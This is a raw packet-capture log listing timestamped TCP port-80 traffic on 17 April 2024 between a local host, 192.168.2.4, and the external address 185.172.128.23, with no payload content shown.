Apr 17, 2024 06:57:04.938299894 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938316107 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938323021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938323021 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938332081 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938349009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938349962 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938350916 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938369036 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938388109 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938394070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938411951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938429117 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938437939 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938446045 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938466072 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938467026 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938484907 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938710928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938726902 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938741922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938759089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.938772917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938772917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.938792944 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939047098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939064980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939104080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939133883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939155102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939172029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939198971 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939229012 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939357042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939373970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939388990 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939405918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939421892 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939439058 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939455032 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939471960 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939487934 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939532995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939548969 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939558029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939564943 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939582109 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939599037 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939603090 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939615011 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939621925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939631939 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939644098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939680099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939718008 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939733982 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939752102 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939766884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939769030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939785004 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939791918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939800978 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939814091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939816952 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939835072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939850092 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939870119 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939878941 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939894915 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939909935 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939924002 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939927101 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939945936 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939951897 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.939964056 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939980030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.939990044 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940010071 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940026999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940037966 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940043926 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940062046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940078974 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940078974 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940085888 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940119028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940140963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940140963 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940165997 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940205097 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940221071 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940237999 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940252066 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940254927 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940272093 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940278053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940278053 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940289974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940296888 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940305948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940320969 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940323114 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940336943 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940340042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940356016 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940356970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940371990 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940372944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940388918 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940390110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940407038 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940408945 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940423965 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940424919 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940439939 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940448046 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940457106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940474987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940485001 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940490007 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940505981 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940510035 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940522909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940542936 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940567017 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940584898 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940788984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940804958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940820932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940834045 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940838099 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940851927 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940855026 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940871000 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940871000 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940887928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940888882 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940905094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940911055 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940921068 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940934896 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940937042 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940954924 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940963984 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.940972090 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940989017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.940990925 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941005945 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941008091 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941021919 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941036940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941039085 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941054106 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941055059 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941070080 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941071987 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941087961 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941088915 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941104889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941111088 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941122055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941137075 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941138029 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941157103 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941167116 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941174030 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941190004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941190958 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941206932 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941217899 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941224098 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941240072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941246986 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941257954 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941266060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941273928 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941291094 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941291094 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941308022 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941309929 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941323996 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941334009 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941339970 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941356897 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941365004 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941373110 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941390991 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941394091 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941411018 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941418886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941427946 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941443920 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941443920 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941461086 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941467047 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941479921 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941492081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941492081 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941495895 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941510916 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941512108 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941529036 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941529989 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941545963 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941546917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941561937 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941565037 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941580057 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941585064 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941596031 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941610098 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941612959 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:04.941641092 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:04.941660881 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.141170979 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.141205072 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.141221046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.141259909 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.141277075 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.141288042 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.141293049 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.141309977 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.141325951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.141341925 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.141350985 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.141350985 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.141350985 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.141360044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.141376972 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.141381025 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.141401052 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.141402006 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.141402006 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.141417980 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.141422033 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.141436100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.141442060 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.141463041 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.141485929 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142030001 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142060995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142079115 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142095089 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142097950 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142098904 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142112017 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142119884 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142128944 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142134905 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142144918 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142153978 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142162085 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142169952 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142179966 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142187119 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142195940 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142208099 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142213106 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142230034 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142232895 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142232895 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142246962 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142251015 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142263889 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142273903 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142282009 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142292976 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142297983 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142312050 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142314911 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142330885 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142333984 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142349958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142374992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142374992 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142385006 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142419100 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142435074 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142436028 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142456055 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142469883 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142488956 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142493010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142493010 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142539978 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142590046 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142606974 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142621994 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142637968 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142638922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142657995 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142663956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142663956 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142677069 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142683029 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142694950 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142700911 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142712116 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142719030 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142729044 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142735958 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142745972 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142752886 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142762899 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142772913 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142781973 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142792940 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142798901 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142812014 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142816067 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142833948 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142849922 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142858028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142858028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142858028 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142867088 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142880917 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142889023 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142896891 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142905951 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142913103 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142924070 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142929077 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142940998 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142946959 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142959118 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142961979 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142978907 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.142982006 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.142996073 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143002987 CEST	49730	80	192.168.2.4	185.172.128.23
Apr 17, 2024 06:57:05.143014908 CEST	80	49730	185.172.128.23	192.168.2.4
Apr 17, 2024 06:57:05.143022060 CEST	49730	80	192.168.2.4	185.172.128.23
